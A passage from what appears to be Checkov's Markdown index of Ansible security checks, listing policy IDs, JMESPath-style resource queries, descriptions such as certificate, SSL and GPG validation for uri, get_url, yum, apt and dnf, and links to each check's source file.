[].tasks[].block[].block[].block[?\"uri\" != null][]                     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|  16 | CKV_ANSIBLE_2  | resource | [?\"ansible.builtin.get_url\" != null][]                                 | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  17 | CKV_ANSIBLE_2  | resource | [?\"get_url\" != null][]                                                 | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  18 | CKV_ANSIBLE_2  | resource | [].block[?\"ansible.builtin.get_url\" != null][]                         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  19 | CKV_ANSIBLE_2  | resource | [].block[?\"get_url\" != null][]                                         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  20 | CKV_ANSIBLE_2  | resource | [].block[].block[?\"ansible.builtin.get_url\" != null][]                 | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  21 | CKV_ANSIBLE_2  | resource | [].block[].block[?\"get_url\" != null][]                                 | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  22 | CKV_ANSIBLE_2  | resource | [].block[].block[].block[?\"ansible.builtin.get_url\" != null][]         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  23 | CKV_ANSIBLE_2  | resource | [].block[].block[].block[?\"get_url\" != null][]                         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  24 | CKV_ANSIBLE_2  | resource | [].tasks[?\"ansible.builtin.get_url\" != null][]                         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  25 | CKV_ANSIBLE_2  | resource | [].tasks[?\"get_url\" != null][]                                         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  26 | CKV_ANSIBLE_2  | resource | [].tasks[].block[?\"ansible.builtin.get_url\" != null][]                 | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  27 | CKV_ANSIBLE_2  | resource | [].tasks[].block[?\"get_url\" != null][]                                 | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  28 | CKV_ANSIBLE_2  | resource | [].tasks[].block[].block[?\"ansible.builtin.get_url\" != null][]         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  29 | CKV_ANSIBLE_2  | resource | [].tasks[].block[].block[?\"get_url\" != null][]                         | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  30 | CKV_ANSIBLE_2  | resource | [].tasks[].block[].block[].block[?\"ansible.builtin.get_url\" != null][] | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  31 | CKV_ANSIBLE_2  | resource | [].tasks[].block[].block[].block[?\"get_url\" != null][]                 | Ensure that certificate validation isn't disabled with get_url                                                                                                                     | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                     |\n|  32 | CKV_ANSIBLE_3  | resource | [?\"ansible.builtin.yum\" != null][]                                     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  33 | CKV_ANSIBLE_3  | resource | [?\"yum\" != null][]                                                     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  34 | CKV_ANSIBLE_3  | resource | [].block[?\"ansible.builtin.yum\" != null][]                             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  35 | CKV_ANSIBLE_3  | resource | [].block[?\"yum\" != null][]                                             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  36 | CKV_ANSIBLE_3  | resource | [].block[].block[?\"ansible.builtin.yum\" != null][]                     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  37 | CKV_ANSIBLE_3  | resource | [].block[].block[?\"yum\" != null][]                                     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  38 | CKV_ANSIBLE_3  | resource | [].block[].block[].block[?\"ansible.builtin.yum\" != null][]             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  39 | CKV_ANSIBLE_3  | resource | [].block[].block[].block[?\"yum\" != null][]                             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  40 | CKV_ANSIBLE_3  | resource | [].tasks[?\"ansible.builtin.yum\" != null][]                             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  41 | CKV_ANSIBLE_3  | resource | [].tasks[?\"yum\" != null][]                                             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  42 | CKV_ANSIBLE_3  | resource | [].tasks[].block[?\"ansible.builtin.yum\" != null][]                     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  43 | CKV_ANSIBLE_3  | resource | [].tasks[].block[?\"yum\" != null][]                                     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  44 | CKV_ANSIBLE_3  | resource | [].tasks[].block[].block[?\"ansible.builtin.yum\" != null][]             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  45 | CKV_ANSIBLE_3  | resource | [].tasks[].block[].block[?\"yum\" != null][]                             | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  46 | CKV_ANSIBLE_3  | resource | [].tasks[].block[].block[].block[?\"ansible.builtin.yum\" != null][]     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  47 | CKV_ANSIBLE_3  | resource | [].tasks[].block[].block[].block[?\"yum\" != null][]                     | Ensure that certificate validation isn't disabled with yum                                                                                                                         | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                           |\n|  48 | CKV_ANSIBLE_4  | resource | [?\"ansible.builtin.yum\" != null][]                                     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  49 | CKV_ANSIBLE_4  | resource | [?\"yum\" != null][]                                                     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  50 | CKV_ANSIBLE_4  | resource | [].block[?\"ansible.builtin.yum\" != null][]                             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  51 | CKV_ANSIBLE_4  | resource | [].block[?\"yum\" != null][]                                             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  52 | CKV_ANSIBLE_4  | resource | [].block[].block[?\"ansible.builtin.yum\" != null][]                     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  53 | CKV_ANSIBLE_4  | resource | [].block[].block[?\"yum\" != null][]                                     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  54 | CKV_ANSIBLE_4  | resource | [].block[].block[].block[?\"ansible.builtin.yum\" != null][]             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  55 | CKV_ANSIBLE_4  | resource | [].block[].block[].block[?\"yum\" != null][]                             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  56 | CKV_ANSIBLE_4  | resource | [].tasks[?\"ansible.builtin.yum\" != null][]                             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  57 | CKV_ANSIBLE_4  | resource | [].tasks[?\"yum\" != null][]                                             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  58 | CKV_ANSIBLE_4  | resource | [].tasks[].block[?\"ansible.builtin.yum\" != null][]                     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  59 | CKV_ANSIBLE_4  | resource | [].tasks[].block[?\"yum\" != null][]                                     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  60 | CKV_ANSIBLE_4  | resource | [].tasks[].block[].block[?\"ansible.builtin.yum\" != null][]             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  61 | CKV_ANSIBLE_4  | resource | [].tasks[].block[].block[?\"yum\" != null][]                             | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  62 | CKV_ANSIBLE_4  | resource | [].tasks[].block[].block[].block[?\"ansible.builtin.yum\" != null][]     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  63 | CKV_ANSIBLE_4  | resource | [].tasks[].block[].block[].block[?\"yum\" != null][]                     | Ensure that SSL validation isn't disabled with yum                                                                                                                                 | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                   |\n|  64 | CKV_ANSIBLE_5  | resource | [?\"ansible.builtin.apt\" != null][]                                     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  65 | CKV_ANSIBLE_5  | resource | [?\"apt\" != null][]                                                     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  66 | CKV_ANSIBLE_5  | resource | [].block[?\"ansible.builtin.apt\" != null][]                             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  67 | CKV_ANSIBLE_5  | resource | [].block[?\"apt\" != null][]                                             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  68 | CKV_ANSIBLE_5  | resource | [].block[].block[?\"ansible.builtin.apt\" != null][]                     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  69 | CKV_ANSIBLE_5  | resource | [].block[].block[?\"apt\" != null][]                                     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  70 | CKV_ANSIBLE_5  | resource | [].block[].block[].block[?\"ansible.builtin.apt\" != null][]             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  71 | CKV_ANSIBLE_5  | resource | [].block[].block[].block[?\"apt\" != null][]                             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  72 | CKV_ANSIBLE_5  | resource | [].tasks[?\"ansible.builtin.apt\" != null][]                             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  73 | CKV_ANSIBLE_5  | resource | [].tasks[?\"apt\" != null][]                                             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  74 | CKV_ANSIBLE_5  | resource | [].tasks[].block[?\"ansible.builtin.apt\" != null][]                     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  75 | CKV_ANSIBLE_5  | resource | [].tasks[].block[?\"apt\" != null][]                                     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  76 | CKV_ANSIBLE_5  | resource | [].tasks[].block[].block[?\"ansible.builtin.apt\" != null][]             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  77 | CKV_ANSIBLE_5  | resource | [].tasks[].block[].block[?\"apt\" != null][]                             | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  78 | CKV_ANSIBLE_5  | resource | [].tasks[].block[].block[].block[?\"ansible.builtin.apt\" != null][]     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  79 | CKV_ANSIBLE_5  | resource | [].tasks[].block[].block[].block[?\"apt\" != null][]                     | Ensure that packages with untrusted or missing signatures are not used                                                                                                             | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                             |\n|  80 | CKV_ANSIBLE_6  | resource | [?\"ansible.builtin.apt\" != null][]                                     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  81 | CKV_ANSIBLE_6  | resource | [?\"apt\" != null][]                                                     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  82 | CKV_ANSIBLE_6  | resource | [].block[?\"ansible.builtin.apt\" != null][]                             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  83 | CKV_ANSIBLE_6  | resource | [].block[?\"apt\" != null][]                                             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  84 | CKV_ANSIBLE_6  | resource | [].block[].block[?\"ansible.builtin.apt\" != null][]                     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  85 | CKV_ANSIBLE_6  | resource | [].block[].block[?\"apt\" != null][]                                     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  86 | CKV_ANSIBLE_6  | resource | [].block[].block[].block[?\"ansible.builtin.apt\" != null][]             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  87 | CKV_ANSIBLE_6  | resource | [].block[].block[].block[?\"apt\" != null][]                             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  88 | CKV_ANSIBLE_6  | resource | [].tasks[?\"ansible.builtin.apt\" != null][]                             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  89 | CKV_ANSIBLE_6  | resource | [].tasks[?\"apt\" != null][]                                             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  90 | CKV_ANSIBLE_6  | resource | [].tasks[].block[?\"ansible.builtin.apt\" != null][]                     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  91 | CKV_ANSIBLE_6  | resource | [].tasks[].block[?\"apt\" != null][]                                     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  92 | CKV_ANSIBLE_6  | resource | [].tasks[].block[].block[?\"ansible.builtin.apt\" != null][]             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  93 | CKV_ANSIBLE_6  | resource | [].tasks[].block[].block[?\"apt\" != null][]                             | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  94 | CKV_ANSIBLE_6  | resource | [].tasks[].block[].block[].block[?\"ansible.builtin.apt\" != null][]     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  95 | CKV_ANSIBLE_6  | resource | [].tasks[].block[].block[].block[?\"apt\" != null][]                     | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                           |\n|  96 | CKV2_ANSIBLE_1 | resource | tasks.ansible.builtin.uri                                              | Ensure that HTTPS url is used with uri                                                                                                                                             | Ansible | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml)                                               |\n|  97 | CKV2_ANSIBLE_1 | resource | tasks.uri                                                              | Ensure that HTTPS url is used with uri                                                                                                                                             | Ansible | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml)                                               |\n|  98 | CKV2_ANSIBLE_2 | resource | tasks.ansible.builtin.get_url                                          | Ensure that HTTPS url is used with get_url                                                                                                                                         | Ansible | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml)                                         |\n|  99 | CKV2_ANSIBLE_2 | resource | tasks.get_url                                                          | Ensure that HTTPS url is used with get_url                                                                                                                                         | Ansible | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml)                                         |\n| 100 | CKV2_ANSIBLE_3 | resource | block                                                                  | Ensure block is handling task errors properly                                                                                                                                      | Ansible | [BlockErrorHandling.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/BlockErrorHandling.yaml)                                   |\n| 101 | CKV2_ANSIBLE_4 | resource | tasks.ansible.builtin.dnf                                              | Ensure that packages with untrusted or missing GPG signatures are not used by dnf                                                                                                  | Ansible | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml)                                   |\n| 102 | CKV2_ANSIBLE_4 | resource | tasks.dnf                                                              | Ensure that packages with untrusted or missing GPG signatures are not used by dnf                                                                                                  | Ansible | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml)                                   |\n| 103 | CKV2_ANSIBLE_5 | resource | tasks.ansible.builtin.dnf                                              | Ensure that SSL validation isn't disabled with dnf                                                                                                                                 | Ansible | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml)                                               |\n| 104 | CKV2_ANSIBLE_5 | resource | tasks.dnf                                                              | Ensure that SSL validation isn't disabled with dnf                                                                                                                                 | Ansible | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml)                                               |\n| 105 | CKV2_ANSIBLE_6 | resource | tasks.ansible.builtin.dnf                                              | Ensure that certificate validation isn't disabled with dnf                                                                                                                         | Ansible | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml)                                       |\n| 106 | CKV2_ANSIBLE_6 | resource | tasks.dnf                                                              | Ensure that certificate validation isn't disabled with dnf                                                                                                                         | Ansible | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml)                                       |\n| 107 | CKV_AWS_88     | resource | [?\"amazon.aws.ec2_instance\" != null][]                                 | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 108 | CKV_AWS_88     | resource | [?\"ec2_instance\" != null][]                                            | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 109 | CKV_AWS_88     | resource | [].block[?\"amazon.aws.ec2_instance\" != null][]                         | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 110 | CKV_AWS_88     | resource | [].block[?\"ec2_instance\" != null][]                                    | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 111 | CKV_AWS_88     | resource | [].block[].block[?\"amazon.aws.ec2_instance\" != null][]                 | 